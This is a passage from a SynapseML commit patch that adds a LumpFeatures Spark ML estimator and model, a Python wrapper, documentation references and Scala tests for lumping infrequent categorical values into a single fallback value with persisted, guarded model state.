build: https://msdata.visualstudio.com/b9b2accc-2d1c-45b3-9d24-0eb5d78cc47f/_build/results?buildId=229219360 - Original proposal: https://github.com/microsoft/SynapseML/pull/1941 - Feature request: https://github.com/microsoft/SynapseML/issues/1891 ## Rationale Register a real TransformerFuzzing test object instead of exempting the model. This exercises deterministic transforms and model persistence while generating Python and R correspondence coverage expected by the repository-wide FuzzingTest. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: reject fitted LumpFeatures rule changes ## Summary Persist each fitted top-K alongside retained values and reject incompatible LumpFeaturesModel lumpRules mutations across direct setters, generic generated-binding transfer, copy overrides, and loaded models. ## Prompting Intent Address the independent medium-severity API review finding on PR #2596 without removing API-compatible params. Ensure a fitted model can never silently score with learned values that disagree with a post-fit K, and cover persistence, copy, Scala, Java, JSON, and generated-binding paths. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2596 - Original proposal: https://github.com/microsoft/SynapseML/pull/1941 - Feature request: https://github.com/microsoft/SynapseML/issues/1891 - Independent review finding supplied in the PR follow-up request - No Azure DevOps work item was supplied; tracking is through the linked GitHub issue. ## Rationale Encode the fitted top-K inside the existing model-only keptValuesJson state instead of adding another generated mutable parameter. Direct model setters fail immediately, while transform-time state validation protects generic Param paths used by generated bindings. Exact no-op rule assignment remains allowed, and incompatible copy overrides fail before returning. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * feat: make LumpFeatures a reliable ML API and algorithm Rework the persisted top-K lumping stage so it is dependable as a training feature-engineering step, not just correct on a single-column happy path. Algorithm - Add minCount and minFreq eligibility filters, applied before the lumpRules top-K cap. This matches the order scikit-learn's OneHotEncoder uses for min_frequency and max_categories, and R forcats / feature-engine use the same primary-threshold + secondary-cap shape. Top-K alone is blind to the distribution: it lumps healthy levels in a low-cardinality column, and in a long-tailed column it retains values covering almost none of the rows. Both default to no-ops, so existing behaviour is unchanged. - Rewrite fit as a single pass. The rule columns are melted into (column, value) pairs and ranked with one windowed aggregation instead of one full scan per column plus a separate collision scan. Besides cutting fit from N+1 Spark jobs to 1, this guarantees every column is learned from the same materialization of the input; per-column jobs silently learn from different rows when the upstream plan is non-deterministic (sample, rand, unordered limit). API - Add an optional outputCols map so lumped values can be written to new columns instead of destroying the raw ones. Unset means in-place, so the default is unchanged. Destinations are validated (known source, non-empty, distinct, not already in the input schema) and ordered deterministically so transformSchema always matches transform. - Fix the nullability contract: the declared schema now derives nullability from handleNull alone instead of intersecting it with the input column's nullability, so a non-nullable input under handleNull='keep' no longer declares a non-nullable output that the expression may not honour. This is the reviewer comment on the PR; the transform expression uses a typed null literal so declared and actual schemas agree on non-nullable inputs too. - Expose the learned values to Python. LumpFeaturesModel becomes an internal wrapper with a hand-written override providing getKeptValues(), backed by a new getKeptValuesAsJson on the Scala model, so a fit can be audited from Python instead of being an opaque JSON param. Docs and tests - Document LumpFeatures in docs/Quick Examples with runnable Python and Scala examples; the stage was previously absent from the stages doc table. - Add 13 tests covering the frequency filters and their ordering against the cap, per-column denominators, joint vs single-column fit agreement, outputCols behaviour/validation/round-trip, the non-nullable schema contract, and the JSON accessor. 41 tests pass, scalastyle clean on main and test, codegen and black clean. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Copilot-Session: 3a108ab7-6879-4fa6-81de-ef2d43eb3ec5 * fix(stages): enforce fitted LumpFeatures model invariants ## Summary Persist the fit-time fallback inside learned categorical state, prevent all direct and generic mutation bypasses, keep copy and load behavior atomic, and make nullability match runtime output. ## Prompting Intent Rebase PR #2596 onto current master and resolve review findings while keeping top-K scoring lean, deterministic, persisted, and compatible with Spark ML copy/load and generated language bindings. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2596 - Original categorical lumping proposal: https://github.com/microsoft/SynapseML/pull/1941 - Related issue: https://github.com/microsoft/SynapseML/issues/1891 - Nullability review: https://github.com/microsoft/SynapseML/pull/2596#discussion_r3695868161 ## Rationale The reserved fallback is stored with the existing learned-state JSON rather than as a separately clearable Spark Param, so generated bindings expose no internal escape hatch. A compact in-memory snapshot restores and rejects generic mutations, copy extras are checked before transfer, and legacy artifacts are upgraded from their persisted fallback. Validation occurs once per schema/transform rather than per row. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Copilot-Session: 81d39bfc-927c-418a-90a8-e0f2cd8fc128 --------- Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Co-authored-by: SynapseML CI Copilot-Session: 3a108ab7-6879-4fa6-81de-ef2d43eb3ec5 Copilot-Session: 81d39bfc-927c-418a-90a8-e0f2cd8fc128 --- .../synapse/ml/stages/LumpFeaturesModel.py | 29 + .../synapse/ml/stages/LumpFeatures.scala | 601 ++++++++++++++++++ .../synapse/ml/stages/LumpFeaturesSuite.scala | 577 +++++++++++++++++ .../Quick Examples/estimators/core/_Stages.md | 74 +++ 4 files changed, 1281 insertions(+) create mode 100644 core/src/main/python/synapse/ml/stages/LumpFeaturesModel.py create mode 100644 core/src/main/scala/com/microsoft/azure/synapse/ml/stages/LumpFeatures.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/stages/LumpFeaturesSuite.scala diff --git a/core/src/main/python/synapse/ml/stages/LumpFeaturesModel.py b/core/src/main/python/synapse/ml/stages/LumpFeaturesModel.py new file mode 100644 index 00000000000..767d04aa01c --- /dev/null +++ b/core/src/main/python/synapse/ml/stages/LumpFeaturesModel.py @@ -0,0 +1,29 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. + +import json +import sys + +if sys.version >= "3": + basestring = str + +from synapse.ml.core.schema.Utils import * +from synapse.ml.stages._LumpFeaturesModel import _LumpFeaturesModel + + +@inherit_doc +class LumpFeaturesModel(_LumpFeaturesModel): + def getKeptValues(self): + """Returns the values LumpFeatures learned to retain, per rule column. + + Every value not listed here is replaced with otherValue at transform time, so this is the + authoritative view of what the fitted model will keep. Use it to audit a fit before scoring: + a column whose list is much shorter than its top-K means the frequency filters (minCount, + minFreq) removed the tail, and an empty list means every value gets lumped. + + Returns: + + dict: map from rule column name to its retained values, ordered by descending + frequency in the fitting data and then ascending value. + """ + return json.loads(self._call_java("getKeptValuesAsJson")) diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/LumpFeatures.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/LumpFeatures.scala new file mode 100644 index 00000000000..dc6d9042798 --- /dev/null +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/LumpFeatures.scala @@ -0,0 +1,601 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.stages + +import com.microsoft.azure.synapse.ml.codegen.Wrappable +import com.microsoft.azure.synapse.ml.logging.{FeatureNames, SynapseMLLogging} +import com.microsoft.azure.synapse.ml.param.{StringIntMapParam, StringStringMapParam} +import org.apache.spark.ml.param.{DoubleParam, IntParam, Param, ParamMap, ParamValidators} +import org.apache.spark.ml.util._ +import org.apache.spark.ml.{Estimator, Model} +import org.apache.spark.sql.expressions.Window +import org.apache.spark.sql.functions.{array, asc, coalesce, col, count, desc} +import org.apache.spark.sql.functions.{explode, lit, row_number, struct, sum, typedLit, when} +import org.apache.spark.sql.types._ +import org.apache.spark.sql.{Column, DataFrame, Dataset} +import spray.json.DefaultJsonProtocol._ +import spray.json._ + +import scala.collection.JavaConverters._ +import scala.util.control.NonFatal + +/** Parameters shared by [[LumpFeatures]] and [[LumpFeaturesModel]]. */ +trait LumpFeaturesParams extends Wrappable with DefaultParamsWritable { + + val lumpRules: StringIntMapParam = new StringIntMapParam( + this, "lumpRules", + "Map from column name to the maximum number of most-frequent values (top-K) to retain per column. " + + "This is a cap, not the only criterion: a value is retained only if it also clears minCount and " + + "minFreq. Every value that is not retained is replaced with otherValue.") + + def getLumpRules: Map[String, Int] = get(lumpRules).getOrElse(Map.empty) + + def setLumpRules(value: Map[String, Int]): this.type = set(lumpRules, value) + + def setLumpRules(value: java.util.HashMap[String, Int]): this.type = set(lumpRules, value.asScala.toMap) + + def setLumpRules(value: String): this.type = set(lumpRules, lumpRules.jsonDecode(value)) + + val outputCols: StringStringMapParam = new StringStringMapParam( + this, "outputCols", + "Optional map from a lumpRules column name to the column the lumped values are written to. " + + "Rule columns without an entry are replaced in place, which is the default and discards the " + + "original values. Naming a new destination keeps the raw column intact alongside the lumped one.") + + def getOutputCols: Map[String, String] = get(outputCols).getOrElse(Map.empty) + + def setOutputCols(value: Map[String, String]): this.type = set(outputCols, value) + + def setOutputCols(value: java.util.HashMap[String, String]): this.type = set(outputCols, value.asScala.toMap) + + def setOutputCols(value: String): this.type = set(outputCols, outputCols.jsonDecode(value)) + + val otherValue: Param[String] = new Param[String]( + this, "otherValue", + "The single explicit replacement value used for every non-retained value (and, when handleNull is " + + "'other', for null) across all rule columns. Must be non-null and must not occur in any rule column.") + + def getOtherValue: String = $(otherValue) + + def setOtherValue(value: String): this.type = set(otherValue, value) + + val handleNull: Param[String] = new Param[String]( + this, "handleNull", + "How to treat null inputs in rule columns: 'keep' preserves null, 'other' maps null to otherValue. " + + "Unseen non-null values always map to otherValue.", + ParamValidators.inArray(Array("keep", "other"))) + + def getHandleNull: String = $(handleNull) + + def setHandleNull(value: String): this.type = set(handleNull, value) + + setDefault(otherValue -> "__other__", handleNull -> "keep") + + protected def validateRules(): Unit = { + val rules = getLumpRules + require(rules.nonEmpty, + "lumpRules must be a non-empty map from column name to a positive top-K.") + rules.foreach { case (name, k) => + require(Option(name).exists(_.nonEmpty), + "lumpRules contains an empty or null column name; every rule column name must be non-empty.") + require(k > 0, + s"lumpRules top-K for column '$name' must be a positive integer but was $k.") + } + getOutputCols.foreach { case (name, out) => + require(rules.contains(name), + s"outputCols references column '$name' which has no lumpRules entry " + + s"[${rules.keySet.toSeq.sorted.mkString(", ")}].") + require(Option(out).exists(_.nonEmpty), + s"outputCols destination for column '$name' must be a non-empty column name.") + } + val duplicated = orderedOutputs.map(_._2).groupBy(identity).collect { case (d, ds) if ds.size > 1 => d } + require(duplicated.isEmpty, + s"outputCols maps more than one rule column to destination(s) " + + s"[${duplicated.toSeq.sorted.mkString(", ")}]; every destination must be distinct.") + require(Option(getOtherValue).isDefined, + "otherValue must be non-null.") + } + + /** Every rule column paired with the column its lumped values are written to, in a deterministic + * order so transformSchema and transform always agree on where appended columns land. + */ + protected def orderedOutputs: Seq[(String, String)] = { + val explicit = getOutputCols + getLumpRules.keys.toSeq.sorted.map(name => (name, explicit.getOrElse(name, name))) + } + + /** A lumped column is always a plain string, and its nullability follows handleNull alone so the + * declared contract never depends on how the input schema happened to declare nullability. Input + * metadata is dropped because it describes the pre-lumping value set. + */ + private def lumpedField(name: String, keepNulls: Boolean): StructField = + StructField(name, StringType, nullable = keepNulls, Metadata.empty) + + protected def validateAndTransformSchema(schema: StructType): StructType = { + validateRules() + val outputs = orderedOutputs + outputs.foreach { case (name, out) => + require(schema.fieldNames.contains(name), + s"lumpRules references column '$name' which is not present in the input schema " + + s"[${schema.fieldNames.mkString(", ")}].") + val dt = schema(name).dataType + require(dt == StringType, + s"lumpRules column '$name' must be StringType for LumpFeatures v1 but was ${dt.simpleString}.") + require(out == name || !schema.fieldNames.contains(out), + s"outputCols destination '$out' for rule column '$name' already exists in the input schema; " + + "choose a new name or drop the entry to replace the rule column in place.") + } + val keepNulls = getHandleNull == "keep" + val replacedInPlace = outputs.collect { case (name, out) if name == out => name }.toSet + val retained = schema.fields.map { f => + if (replacedInPlace.contains(f.name)) lumpedField(f.name, keepNulls) else f + } + val appended = outputs.collect { case (name, out) if name != out => lumpedField(out, keepNulls) } + StructType(retained ++ appended) + } + + /** Reference a top-level column by its literal name, backtick-quoting it and doubling any embedded + * backticks so names containing dots, backticks, or reserved words like `count` are never parsed + * as nested paths or interpreted as aggregate/reserved identifiers. + */ + protected def litCol(name: String): Column = col("`" + name.replace("`", "``") + "`") +} + +object LumpFeatures extends DefaultParamsReadable[LumpFeatures] { + + /** One distinct value of one rule column, with its rank inside that column and whether it survived + * the eligibility filters. Collected once per fit. + */ + private[stages] case class RankedValue(column: String, value: String, rank: Int, retained: Boolean) +} + +/** Learns, per configured column, which string values to retain and produces a [[LumpFeaturesModel]] + * that replaces every other value with a single global otherValue. + * + * A value is retained when it clears both eligibility filters (minCount and minFreq) and then falls + * inside its column's top-K from lumpRules. Filtering before capping is the order scikit-learn's + * OneHotEncoder uses for min_frequency and max_categories: the frequency thresholds decide which + * values are worth keeping at all, and top-K only bounds how many survive. Relying on top-K alone + * is unreliable for training, because it is blind to the shape of the distribution - it will lump + * healthy levels in a low-cardinality column, and in a very long-tailed column it can retain values + * that together cover almost none of the rows. + */ +class LumpFeatures(override val uid: String) + extends Estimator[LumpFeaturesModel] with LumpFeaturesParams with SynapseMLLogging { + logClass(FeatureNames.Core) + + def this() = this(Identifiable.randomUID("LumpFeatures")) + + val minCount: IntParam = new IntParam( + this, "minCount", + "Minimum number of times a value must occur in the fitting data to be eligible for retention. " + + "Rarer values are lumped into otherValue. Applied before the lumpRules top-K cap. " + + "The default of 1 disables count-based lumping.", + ParamValidators.gtEq(1)) + + def getMinCount: Int = $(minCount) + + def setMinCount(value: Int): this.type = set(minCount, value) + + val minFreq: DoubleParam = new DoubleParam( + this, "minFreq", + "Minimum share of a column's non-null fitting rows a value must account for to be eligible for " + + "retention, in [0, 1]. Rarer values are lumped into otherValue. Applied before the lumpRules " + + "top-K cap. The default of 0.0 disables frequency-based lumping.", + ParamValidators.inRange(0.0, 1.0)) + + def getMinFreq: Double = $(minFreq) + + def setMinFreq(value: Double): this.type = set(minFreq, value) + + setDefault(minCount -> 1, minFreq -> 0.0) + + override def fit(dataset: Dataset[_]): LumpFeaturesModel = { + logFit({ + transformSchema(dataset.schema) + val rules = getLumpRules + val other = getOtherValue + val ranked = rankValues(dataset.toDF(), rules, other) + + val collided = ranked.filter(_.value == other).map(_.column).distinct.sorted + require(collided.isEmpty, + s"otherValue '$other' collides with an existing value in rule column(s) " + + s"[${collided.mkString(", ")}]. Choose an otherValue that does not occur in the data.") + + val byColumn = ranked.filter(_.retained).groupBy(_.column) + val keptJson = rules.map { case (name, k) => + val top = byColumn.getOrElse(name, Seq.empty).sortBy(_.rank).map(_.value).toList + (name, LumpFeaturesModel.encodeKept(k, top, other)) + } + + val model = new LumpFeaturesModel(uid) + .setLumpRules(rules) + .setOtherValue(other) + .setHandleNull(getHandleNull) + get(outputCols).foreach(model.setOutputCols) + model.setKeptValuesJson(keptJson).setParent(this) + }, dataset.columns.length) + } + + /** Rank every distinct non-null value of every rule column in a single pass. + * + * The rule columns are melted into (column, value) pairs so one aggregation serves all of them. + * That keeps the cost at one shuffle instead of a separate full scan per column and, more + * importantly, guarantees every column is learned from the same materialization of the input. + * Per-column jobs cannot promise that: against a non-deterministic upstream plan (a sample, rand, + * or an unordered limit) each column would be learned from different rows. Values equal to + * otherValue are always returned so the collision check reuses this same aggregation. + */ + private def rankValues(df: DataFrame, rules: Map[String, Int], other: String): Seq[LumpFeatures.RankedValue] = { + val columnAlias = "__lump_column__" + val valueAlias = "__lump_value__" + val countAlias = "__lump_count__" + val totalAlias = "__lump_total__" + val rankAlias = "__lump_rank__" + val retainedAlias = "__lump_retained__" + val pairAlias = "__lump_pair__" + val cols = rules.keys.toSeq.sorted + + val melted = df + .select(explode(array(cols.map(c => struct(lit(c).as(columnAlias), litCol(c).as(valueAlias))): _*)) + .as(pairAlias)) + .select(col(s"$pairAlias.$columnAlias").as(columnAlias), col(s"$pairAlias.$valueAlias").as(valueAlias)) + .where(col(valueAlias).isNotNull) + + val perColumn = Window.partitionBy(col(columnAlias)) + val counted = melted + .groupBy(col(columnAlias), col(valueAlias)) + .agg(count(lit(1)).as(countAlias)) + .withColumn(totalAlias, sum(col(countAlias)).over(perColumn)) + .withColumn(rankAlias, row_number().over(perColumn.orderBy(desc(countAlias), asc(valueAlias)))) + + // Eligibility can only reject a suffix of the count-descending order, so intersecting it with the + // rank cap is exactly "filter by frequency first, then keep at most K". + val topK = cols.foldLeft(lit(0)) { (fallback, c) => + when(col(columnAlias) === lit(c), lit(rules(c))).otherwise(fallback) + } + val eligible = col(countAlias) >= lit(getMinCount) && col(countAlias) >= col(totalAlias) * lit(getMinFreq) + + counted + .withColumn(retainedAlias, col(rankAlias) <= topK && eligible) + .where(col(retainedAlias) || col(valueAlias) === lit(other)) + .select(col(columnAlias), col(valueAlias), col(rankAlias), col(retainedAlias)) + .collect() + .map(r => LumpFeatures.RankedValue(r.getString(0), r.getString(1), r.getInt(2), r.getBoolean(3))) + .toSeq + } + + override def copy(extra: ParamMap): LumpFeatures = defaultCopy(extra) + + override def transformSchema(schema: StructType): StructType = validateAndTransformSchema(schema) +} + +object LumpFeaturesModel extends DefaultParamsReadable[LumpFeaturesModel] { + + private[stages] case class KeptState(topK: Int, values: Seq[String], otherValue: Option[String]) + + override def read: MLReader[LumpFeaturesModel] = { + val delegate = super.read + new MLReader[LumpFeaturesModel] { + override def load(path: String): LumpFeaturesModel = { + delegate.session(sparkSession) + delegate.load(path).prepareLoadedModel() + } + } + } + + /** Encode a column's fitted state, including the reserved fallback that was collision-checked + * against the fitting data. Keeping it inside learned state avoids a separately clearable Param. + */ + private[stages] def encodeKept(topK: Int, values: Seq[String], otherValue: String): String = + encodeKept(KeptState(topK, values, Some(otherValue))) + + private[stages] def encodeKept(state: KeptState): String = { + val base = Map[String, JsValue]( + "topK" -> JsNumber(state.topK), + "values" -> JsArray(state.values.map(JsString(_)).toVector)) + val fields = state.otherValue.fold(base)(value => base + ("otherValue" -> JsString(value))) + JsObject(fields).compactPrint + } + + /** Decode one column's state. otherValue is optional only for loading artifacts written before + * that fit-time invariant was persisted; the reader upgrades those entries before returning. + */ + private[stages] def decodeKept(name: String, json: String): KeptState = { + parseKeptJson(name, json) match { + case JsObject(fields) => + KeptState( + decodeTopK(name, json, fields), + decodeValueList(name, json, fields), + decodeOtherValue(name, json, fields)) + case _ => + throw new IllegalArgumentException( + s"keptValuesJson for column '$name' must be a JSON object with fitted state fields: '$json'.") + } + } + + private def parseKeptJson(name: String, json: String): JsValue = + try json.parseJson + catch { + case NonFatal(e) => + throw new IllegalArgumentException(s"keptValuesJson for column '$name' is not valid JSON: '$json'.", e) + } + + private def decodeTopK(name: String, json: String, fields: Map[String, JsValue]): Int = + fields.get("topK") match { + case Some(JsNumber(n)) if n.isValidInt => n.toInt + case _ => + throw new IllegalArgumentException( + s"keptValuesJson for column '$name' must contain an integer topK field: '$json'.") + } + + private def decodeValueList(name: String, json: String, fields: Map[String, JsValue]): Seq[String] = + fields.get("values") match { + case Some(JsArray(elems)) => elems.map { + case JsString(v) => v + case other => + throw new IllegalArgumentException( + s"keptValuesJson values for column '$name' must be strings but found: ${other.compactPrint}.") + }.toList + case _ => + throw new IllegalArgumentException( + s"keptValuesJson for column '$name' must contain a string-array values field: '$json'.") + } + + private def decodeOtherValue(name: String, json: String, fields: Map[String, JsValue]): Option[String] = + fields.get("otherValue") match { + case None => None + case Some(JsString(value)) => Some(value) + case _ => + throw new IllegalArgumentException( + s"keptValuesJson for column '$name' must contain a string otherValue field when present: '$json'.") + } +} + +/** Model produced by [[LumpFeatures]]. Replaces every non-retained value in each rule column with + * otherValue, leaving the learned values unchanged. By default each rule column is rewritten in + * place; set outputCols to write the lumped values to new columns and keep the raw values. + */ +class LumpFeaturesModel(override val uid: String) + extends Model[LumpFeaturesModel] with LumpFeaturesParams with SynapseMLLogging { + logClass(FeatureNames.Core) + + override protected lazy val pyInternalWrapper: Boolean = true + + def this() = this(Identifiable.randomUID("LumpFeaturesModel")) + + val keptValuesJson: StringStringMapParam = new StringStringMapParam( + this, "keptValuesJson", + "Learned model-only state per column, encoded as a map from column name to a JSON object holding the " + + "fitted top-K, retained values, and fit-time otherValue. Populated by LumpFeatures during fit and " + + "immutable thereafter.") + + private var learnedStateSnapshot: Option[Map[String, String]] = None + private var otherValueWasSetWithLearnedState: Boolean = false + + def getKeptValuesJson: Map[String, String] = get(keptValuesJson).getOrElse(Map.empty) + + private def learnedStateChangeMessage: String = + "Cannot change or clear keptValuesJson on a fitted LumpFeaturesModel; re-fit LumpFeatures to change learned state." + + private def guardLearnedStateChange(value: Map[String, String]): Unit = + learnedStateSnapshot.foreach(expected => require(value == expected, learnedStateChangeMessage)) + + def setKeptValuesJson(value: Map[String, String]): this.type = { + guardLearnedStateChange(value) + set(keptValuesJson, value) + } + + def setKeptValuesJson(value: java.util.HashMap[String, String]): this.type = + setKeptValuesJson(value.asScala.toMap) + + def getKeptValues: Map[String, Seq[String]] = + decodedKept.map { case (name, state) => (name, state.values) } + + /** The learned values per column as one JSON object mapping column name to its retained values. + * Language wrappers cannot reliably read the keptValuesJson param map off the JVM object, so this + * gives Python and R callers a single well-defined way to inspect and audit what the model learned. + */ + def getKeptValuesAsJson: String = + JsObject(getKeptValues.map { case (name, values) => + (name, JsArray(values.map(JsString(_)).toVector): JsValue) + }).compactPrint + + private def decodedKept: Map[String, LumpFeaturesModel.KeptState] = + getKeptValuesJson.map { case (name, json) => (name, LumpFeaturesModel.decodeKept(name, json)) } + + /** The fitted top-K per column recorded at fit time; a fitted model keeps lumpRules equal to this. */ + private def getFittedTopK(kept: Map[String, LumpFeaturesModel.KeptState]): Map[String, Int] = + kept.map { case (name, state) => (name, state.topK) } + + private def guardLumpRulesChange(value: Map[String, Int]): Unit = { + if (isDefined(keptValuesJson)) { + val fitted = getFittedTopK(decodedKept) + require(value == fitted, + s"Cannot change lumpRules on a fitted LumpFeaturesModel. The model was fitted with top-K $fitted " + + s"but $value was requested; re-fit LumpFeatures to change the rules.") + } + } + + override def setLumpRules(value: Map[String, Int]): this.type = { + guardLumpRulesChange(value) + set(lumpRules, value) + } + + override def setLumpRules(value: java.util.HashMap[String, Int]): this.type = + setLumpRules(value.asScala.toMap) + + override def setLumpRules(value: String): this.type = + setLumpRules(lumpRules.jsonDecode(value)) + + private def incompatibleOtherValue(value: String, fitted: String): String = + s"Cannot change otherValue on a fitted LumpFeaturesModel. The model reserved '$fitted' during fit " + + s"but '$value' was requested; re-fit LumpFeatures to change the fallback value." + + private def fittedOtherValue(kept: Map[String, LumpFeaturesModel.KeptState]): Option[String] = { + val present = kept.values.flatMap(_.otherValue).toSet + val missing = kept.collect { case (name, state) if state.otherValue.isEmpty => name }.toSeq.sorted + require(present.isEmpty || missing.isEmpty, + s"Model state is inconsistent: fit-time otherValue is missing for column(s) [${missing.mkString(", ")}].") + require(present.size <= 1, + s"Model state contains inconsistent fit-time otherValue entries [${present.toSeq.sorted.mkString(", ")}].") + present.headOption + } + + private def decodedLearnedStateSnapshot: Option[Map[String, LumpFeaturesModel.KeptState]] = + learnedStateSnapshot.map(_.map { case (name, json) => (name, LumpFeaturesModel.decodeKept(name, json)) }) + + private def guardOtherValueChange(value: String): Unit = + decodedLearnedStateSnapshot.flatMap(fittedOtherValue).foreach { fitted => + require(value == fitted, incompatibleOtherValue(value, fitted)) + } + + override def setOtherValue(value: String): this.type = { + guardOtherValueChange(value) + set(otherValue, value) + } + + /** Spark mutates the ParamMap before this hook. Retain an internal snapshot so learned state can + * be restored after generic set/clear calls, and use its embedded fallback to protect otherValue. + */ + override def onParamChange(param: Param[_]): Unit = { + if (keptValuesJson != null && learnedStateSnapshot != null && param == keptValuesJson) { + handleLearnedStateChange() + } + if (otherValue != null && learnedStateSnapshot != null && param == otherValue) { + handleOtherValueChange() + } + } + + private def handleLearnedStateChange(): Unit = { + val current = get(keptValuesJson) + learnedStateSnapshot match { + case None => + current.foreach { value => + learnedStateSnapshot = Some(value) + otherValueWasSetWithLearnedState = isSet(otherValue) + } + case Some(expected) if current.contains(expected) => + case Some(expected) => + set(keptValuesJson, expected) + throw new IllegalArgumentException(learnedStateChangeMessage) + } + } + + private def handleOtherValueChange(): Unit = { + decodedLearnedStateSnapshot.flatMap(fittedOtherValue).foreach { fitted => + val current = getOtherValue + if (current != fitted && (isSet(otherValue) || otherValueWasSetWithLearnedState)) { + set(otherValue, fitted) + throw new IllegalArgumentException(incompatibleOtherValue(current, fitted)) + } + if (current == fitted && isSet(otherValue)) { + otherValueWasSetWithLearnedState = true + } + } + } + + private def validateModelState(kept: Map[String, LumpFeaturesModel.KeptState]): Unit = { + validateRules() + val rules = getLumpRules + require(rules.keySet == kept.keySet, + s"Model state is inconsistent with lumpRules: rule columns " + + s"[${rules.keySet.toSeq.sorted.mkString(", ")}] do not match learned columns " + + s"[${kept.keySet.toSeq.sorted.mkString(", ")}].") + val other = getOtherValue + fittedOtherValue(kept).foreach { fitted => + require(other == fitted, incompatibleOtherValue(other, fitted)) + } + kept.foreach { case (name, state) => + require(rules(name) == state.topK, + s"lumpRules top-K for column '$name' is ${rules(name)} but the model was fitted with top-K " + + s"${state.topK}. " + + "A fitted LumpFeaturesModel does not allow lumpRules to change after fit; re-fit to change rules.") + require(state.values.size <= state.topK, + s"Model retains ${state.values.size} values for column '$name' which exceeds its fitted top-K " + + s"of ${state.topK}.") + require(!state.values.contains(other), + s"otherValue '$other' collides with a retained value in column '$name'. " + + "Choose an otherValue that is not among the learned values.") + } + } + + private def validatedModelState(): Map[String, LumpFeaturesModel.KeptState] = { + val kept = decodedKept + validateModelState(kept) + kept + } + + protected def validateModelState(): Unit = { + validateModelState(decodedKept) + } + + private def replaceLearnedState(value: Map[String, String]): Unit = { + learnedStateSnapshot = None + otherValueWasSetWithLearnedState = false + set(keptValuesJson, value) + } + + private def upgradeLegacyState( + kept: Map[String, LumpFeaturesModel.KeptState]): Map[String, LumpFeaturesModel.KeptState] = { + if (kept.values.exists(_.otherValue.isEmpty)) { + val upgraded = kept.map { case (name, state) => + (name, if (state.otherValue.isDefined) state else state.copy(otherValue = Some(getOtherValue))) + } + replaceLearnedState(upgraded.map { case (name, state) => (name, LumpFeaturesModel.encodeKept(state)) }) + upgraded + } else { + kept + } + } + + private[stages] def prepareLoadedModel(): LumpFeaturesModel = { + val kept = upgradeLegacyState(decodedKept) + validateModelState(kept) + this + } + + override def transformSchema(schema: StructType): StructType = { + validateModelState() + validateAndTransformSchema(schema) + } + + override def transform(dataset: Dataset[_]): DataFrame = { + logTransform[DataFrame]({ + val state = validatedModelState() + validateAndTransformSchema(dataset.schema) + val other = getOtherValue + val keepNulls = getHandleNull == "keep" + orderedOutputs.foldLeft(dataset.toDF()) { case (acc, (name, out)) => + val values = state.get(name).map(_.values).getOrElse(Seq.empty) + acc.withColumn(out, lumpExpr(name, values, other, keepNulls)) + } + }, dataset.columns.length) + } + + private def lumpExpr(name: String, values: Seq[String], other: String, keepNulls: Boolean): Column = { + val retain = + if (values.isEmpty) lit(other) + else when(litCol(name).isin(values: _*), litCol(name)).otherwise(lit(other)) + // The declared schema takes nullability from handleNull alone, so force the expression to agree + // regardless of how the input column declared itself: a typed null literal stays nullable even + // over a non-nullable input, and coalesce makes the non-null contract hold over a nullable one. + if (keepNulls) when(litCol(name).isNull, typedLit(Option.empty[String])).otherwise(retain) + else coalesce(retain, lit(other)) + } + + private def guardLearnedStateCopy(extra: ParamMap): Unit = { + extra.get(keptValuesJson).foreach { requested => + val fitted = learnedStateSnapshot.getOrElse(getKeptValuesJson) + require(requested == fitted, learnedStateChangeMessage) + } + } + + override def copy(extra: ParamMap): LumpFeaturesModel = { + guardLearnedStateCopy(extra) + val copied = copyValues(new LumpFeaturesModel(uid), extra).setParent(parent) + if (copied.isDefined(copied.keptValuesJson)) copied.prepareLoadedModel() + copied + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/LumpFeaturesSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/LumpFeaturesSuite.scala new file mode 100644 index 00000000000..a32579be74b --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/LumpFeaturesSuite.scala @@ -0,0 +1,577 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.stages + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import com.microsoft.azure.synapse.ml.core.test.fuzzing.{EstimatorFuzzing, TestObject, TransformerFuzzing} +import org.apache.spark.ml.param.ParamMap +import org.apache.spark.ml.util.MLReadable +import org.apache.spark.sql.functions.col +import org.apache.spark.sql.types._ +import org.apache.spark.sql.{Column, DataFrame, Row} +import spray.json._ + +import java.io.File +import scala.collection.JavaConverters._ + +/** Shared input fixture and projection helper used by both the estimator suite + * [[LumpFeaturesSuite]] and the model suite [[LumpFeaturesModelSuite]]. + */ +trait LumpFeaturesTestData extends TestBase { + + import spark.implicits._ + + protected lazy val df: DataFrame = Seq( + ("apple", "red"), + ("apple", "red"), + ("apple", "blue"), + ("banana", "red"), + ("cherry", "green") + ).toDF("f1", "f2") + + protected val other: String = "__other__" + + protected def dump(data: DataFrame, cols: Seq[String]): List[String] = { + val projected = data.select(cols.map(col): _*) + projected.collect().map { r => + cols.indices.map(i => if (r.isNullAt(i)) "" else r.get(i).toString).mkString("|") + }.sorted.toList + } +} + +//scalastyle:off null +class LumpFeaturesSuite extends EstimatorFuzzing[LumpFeatures] with LumpFeaturesTestData { + + import spark.implicits._ + + test("multi-column top-K retains learned values and lumps the rest") { + val model = new LumpFeatures().setLumpRules(Map("f1" -> 1, "f2" -> 1)).fit(df) + assert(model.getKeptValues("f1") == Seq("apple")) + assert(model.getKeptValues("f2") == Seq("red")) + val out = model.transform(df) + assert(out.columns.toSeq == Seq("f1", "f2")) + assert(dump(out, Seq("f1", "f2")) == List( + s"$other|$other", s"$other|red", s"apple|$other", "apple|red", 